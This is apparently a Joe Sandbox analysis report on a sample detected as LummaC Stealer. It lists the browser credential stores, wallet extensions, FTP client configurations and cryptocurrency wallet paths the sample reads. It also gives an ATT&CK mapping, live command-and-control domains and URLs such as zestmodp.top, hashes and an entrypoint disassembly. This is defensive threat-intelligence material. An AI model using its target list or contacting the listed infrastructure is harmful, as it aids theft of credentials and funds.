Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pdliaogehgdbhbnmkklieghmmjkpigpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Armory	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\DashCore\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\WalletWasabi\Client\Wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Daedalus Mainnet\wallets	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 00000001.00000002.1484259331.0000000003AD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 8164, type: MEMORYSTR
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	31 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	72%	Virustotal		Browse
file.exe	72%	ReversingLabs	Win64.Trojan.LummaStealer

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://zestmodp.top/	100%	Avira URL Cloud	malware
https://zestmodp.top/zedaT/AO	100%	Avira URL Cloud	malware
https://zestmodp.top/r5	100%	Avira URL Cloud	malware
https://zestmodp.top/zeda	100%	Avira URL Cloud	malware
https://zestmodp.top/zedaT	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
ax-9999.ax-msedge.net	150.171.27.254	true	false	high
pki-goog.l.google.com	172.253.124.94	true	false	high
zestmodp.top	104.21.112.1	true	true	unknown
c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com	unknown	unknown	false	high
c.pki.goog	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
owlflright.digital/qopy	false		high
liftally.top/xasj	false		high
jawdedmirror.run/ewqd	false		high
https://zestmodp.top/zeda	true	Avira URL Cloud: malware	unknown
nighetwhisper.top/lekd	false		high
salaccgfa.top/gsooz	false		high
lonfgshadow.live/xawi	false		high
http://c.pki.goog/r/r4.crl	false		high
changeaie.top/geps	false		high
zestmodp.top/zeda	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://zestmodp.top/zedaT/AO	MSBuild.exe, 00000001.00000002.1483849551.00000000015EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://zestmodp.top/	MSBuild.exe, 00000001.00000002.1483746745.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://zestmodp.top/zedaT	MSBuild.exe, 00000001.00000002.1483746745.00000000015CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://zestmodp.top/r5	MSBuild.exe, 00000001.00000002.1483746745.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.112.1	zestmodp.top	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1665637
Start date and time:	2025-04-15 17:55:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 76% Number of executed functions: 48 Number of non-executed functions: 147
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 4.175.87.197, 13.95.31.18, 20.3.187.198, 23.76.34.6
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ax-ring.msedge.net, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:56:38	API Interceptor	6x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.112.1	Purchase Order-2625.exe	Get hash	malicious	FormBook	Browse	www.coininsight.tech/rhz2/
	bill of lading..exe	Get hash	malicious	FormBook	Browse	www.tqzjixmd.biz/2knt/
	BBT-INVOICE-APRIL.exe	Get hash	malicious	FormBook	Browse	www.ppostealeone.shop/v25g/
	Updated Price List.exe	Get hash	malicious	FormBook	Browse	www.6644win.mom/hs6j/
	INV-SONO25LO001-P01.exe	Get hash	malicious	FormBook	Browse	www.ppostealeone.shop/v25g/
	qUjo4I80Qv.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.shlomi.app/9rzh/
	UXVRUZMQ.msi	Get hash	malicious	Unknown	Browse	cdn-upload-files.buzz/c
	r7z45OUGtg.exe	Get hash	malicious	FormBook	Browse	www.meshki-co-uk.shop/kekk/
	Case157450AB.lnk	Get hash	malicious	Unknown	Browse	awcollectors.com/JHOLVQBV.exe
	Case157045AB.lnk	Get hash	malicious	Unknown	Browse	awcollectors.com/DKYNRMSZ.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pki-goog.l.google.com	PURCHASE OKK.vbs	Get hash	malicious	FormBook	Browse	172.253.124.94
	Draft_Copy_00983232.vbe	Get hash	malicious	AgentTesla	Browse	64.233.185.94
	SecuriteInfo.com.Win32.MalwareX-gen.14672.5040.exe	Get hash	malicious	FormBook	Browse	142.250.9.94
	https://degrgd.dailyenglish.it.com/ODIWCBlb	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	142.250.9.94
	https://159.223.139.207:8080/1744722480	Get hash	malicious	Unknown	Browse	173.194.219.94
	728-3512-19.hta	Get hash	malicious	Unknown	Browse	142.250.9.94
	888.exe	Get hash	malicious	GO Backdoor	Browse	172.217.215.94
	New Order.vbe	Get hash	malicious	AgentTesla	Browse	74.125.21.94
	js (6).js	Get hash	malicious	Unknown	Browse	142.251.15.94
	model.vbe	Get hash	malicious	Remcos	Browse	172.217.215.94
ax-9999.ax-msedge.net	New Order.vbe	Get hash	malicious	AgentTesla	Browse	150.171.28.254
	IMG77202400210014.vbe	Get hash	malicious	FormBook	Browse	150.171.28.254
	92.255.85.2.exe	Get hash	malicious	DcRat	Browse	150.171.27.254
	J431xiYfCW.exe	Get hash	malicious	XWorm	Browse	150.171.27.254
	launch3r-v2.2.2.exe	Get hash	malicious	LummaC Stealer	Browse	150.171.28.254
	TU PEDIDO.vbs	Get hash	malicious	FormBook	Browse	150.171.27.254
	tc1kz56TNX.exe	Get hash	malicious	Vidar	Browse	150.171.28.254
	g8P4C3jHSJ.ps1	Get hash	malicious	Vidar	Browse	150.171.28.254
	1NOT80-ScJ8-6OvO2-F34.msi	Get hash	malicious	Unknown	Browse	150.171.28.254
	RFQ.js	Get hash	malicious	AgentTesla	Browse	150.171.28.254
bg.microsoft.map.fastly.net	Agterdelen.vbs	Get hash	malicious	GuLoader	Browse	199.232.210.172
	original.eml	Get hash	malicious	Gabagool	Browse	199.232.214.172
	PURCHASE OKK.vbs	Get hash	malicious	FormBook	Browse	199.232.210.172
	nK8noQeiXl.exe	Get hash	malicious	HTMLPhisher, CryptOne, LummaC Stealer, Socks5Systemz, Tofsee	Browse	199.232.210.172
	SecuriteInfo.com.Win32.MalwareX-gen.14672.5040.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	https://degrgd.dailyenglish.it.com/ODIWCBlb	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	199.232.214.172
	Fatura.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	728-3512-19.hta	Get hash	malicious	Unknown	Browse	199.232.210.172
	Scanned Page(s).pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	888.exe	Get hash	malicious	GO Backdoor	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://mindlabs.topleads.co/lt.php?x=3DZy~GDFUqWh68Kt0NtJgRWf~nykj_Xvjhs2jXDDJILL5K3.y0y.0.dt1o2hidLvnuc3bHTDKni	Get hash	malicious	Unknown	Browse	104.17.203.31
	https://apex.oracle.com/pls/apex/r/capsicure/file-document/file-document	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	RESUMO DOS PRODUTOS DS_v2.xlsm	Get hash	malicious	Unknown	Browse	104.22.64.161
	[Certificate_Details]_[Microsoft_sarah]_Tue, 15 Apr 2025 07_31_02 -0700.htm	Get hash	malicious	HTMLPhisher	Browse	104.21.92.240
	njo.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	104.21.96.1
	https://www.acceleratedusa.net	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.16.138.209
	PO 768733 - 6750.exe	Get hash	malicious	FormBook	Browse	104.21.22.160
	https://disppslyyy2.z13.web.core.windows.net/Wi012nh1delpSh012/index.html?Aniph=1-877-337-5457&_event=4fb5a3fdd9137d70fdfb00640f749955	Get hash	malicious	TechSupportScam	Browse	104.17.25.14
	original.eml	Get hash	malicious	Gabagool	Browse	104.17.25.14
	random.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.205.184

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://blessedwirrow.org	Get hash	malicious	Unknown	Browse	150.171.27.254
	PURCHASE OKK.vbs	Get hash	malicious	FormBook	Browse	150.171.27.254
	HI_Report_UA_2023.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	150.171.27.254
	http://eqao-kb-pj.lswp.vretta.com/	Get hash	malicious	Unknown	Browse	150.171.27.254
	http://dqljfazx.manamahealth.com/rd/4SPyzj6305fzFg150badyxifgmp318RGPFBXSDASLOMKH3927WAAX41792T12?WYEZw8o1HZ0PSjUue-WkMbNTGsBj-NIobqD	Get hash	malicious	Unknown	Browse	150.171.27.254
	http://eprcredit.com	Get hash	malicious	Unknown	Browse	150.171.27.254
	New Order.vbe	Get hash	malicious	AgentTesla	Browse	150.171.27.254
	https://we.tl/t-IBThwlthXD?trk=dw_recover_expired_transfer&utm_campaign=dw_recover_expired_transfer&utm_medium=email&utm_source=wt_sendgrid&utm_template=pre_deletion_72hrs_email	Get hash	malicious	Unknown	Browse	150.171.27.254
	https://tu.gaboras.com.tr	Get hash	malicious	Unknown	Browse	150.171.27.254
	MV TBN(MULTIMAX).XLS.vbs	Get hash	malicious	AgentTesla	Browse	150.171.27.254
a0e9f5d64349fb13191bc781f81f42e1	random.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	nK8noQeiXl.exe	Get hash	malicious	HTMLPhisher, CryptOne, LummaC Stealer, Socks5Systemz, Tofsee	Browse	104.21.112.1
	random.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	random.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	728-3512-19.hta	Get hash	malicious	Unknown	Browse	104.21.112.1
	exe.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.112.1
	exe (2).exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	104.21.112.1
	SecuriteInfo.com.Win64.MalwareX-gen.31144.14788.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	SAKL0987656700.xlsx	Get hash	malicious	Unknown	Browse	104.21.112.1
	MyFile.js	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.620502489784953
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'582'080 bytes
MD5:	d0c0e2b8cdcf7891093e828326fc7240
SHA1:	82d4bc2c660c5853818925351b1f01a4933755a3
SHA256:	4ef46582ae95f961c0a0af8262de20681d9fc34ab18ead54a634448c077fd82d
SHA512:	35033dddd0ed3ebb292be5e3eb1f01f116b71ff63cf03efdf069be081bb58c7582f9ab0756184905db6050c462197f40fdedee67436c8952edf23a24301723df
SSDEEP:	24576:sFtBhmrPJpYSHCLuc/NQXzwX6pYPq50IkyXzwX6pYPq50Ik:Qfo6NfXMYPqEXMYPq
TLSH:	8C75D02A519192DAF5D544B37A89A290B023F673873D1FEF80F4E3252547EE40B3E71A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...gA.g.........."......\|.....................@.....................................;....`........................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14009a188
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67F94167 [Fri Apr 11 16:20:55 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a898adc0428740dd4fad8431feafaf7a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F0B38C19150h
dec eax
add esp, 28h
jmp 00007F0B38C18FBFh
int3
int3
dec eax
mov dword ptr [esp+18h], ebx
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 30h
dec eax
mov eax, dword ptr [000310D0h]
dec eax
mov ebx, 2DDFA232h
cdq
sub eax, dword ptr [eax]
add byte ptr [eax+3Bh], cl
ret
jne 00007F0B38C191B6h
dec eax
and dword ptr [ebp+10h], 00000000h
dec eax
lea ecx, dword ptr [ebp+10h]
call dword ptr [0002C042h]
dec eax
mov eax, dword ptr [ebp+10h]
dec eax
mov dword ptr [ebp-10h], eax
call dword ptr [0002BFACh]
mov eax, eax
dec eax
xor dword ptr [ebp-10h], eax
call dword ptr [0002BF98h]
mov eax, eax
dec eax
lea ecx, dword ptr [ebp+18h]
dec eax
xor dword ptr [ebp-10h], eax
call dword ptr [0002C0B8h]
mov eax, dword ptr [ebp+18h]
dec eax
lea ecx, dword ptr [ebp-10h]
dec eax
shl eax, 20h
dec eax
xor eax, dword ptr [ebp+18h]
dec eax
xor eax, dword ptr [ebp-10h]
dec eax
xor eax, ecx
dec eax
mov ecx, FFFFFFFFh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc5d50	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x18c000	0x7cb	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xd0000	0x31ec	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xdd000	0xaa0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc16c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xbb200	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc6090	0x318	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
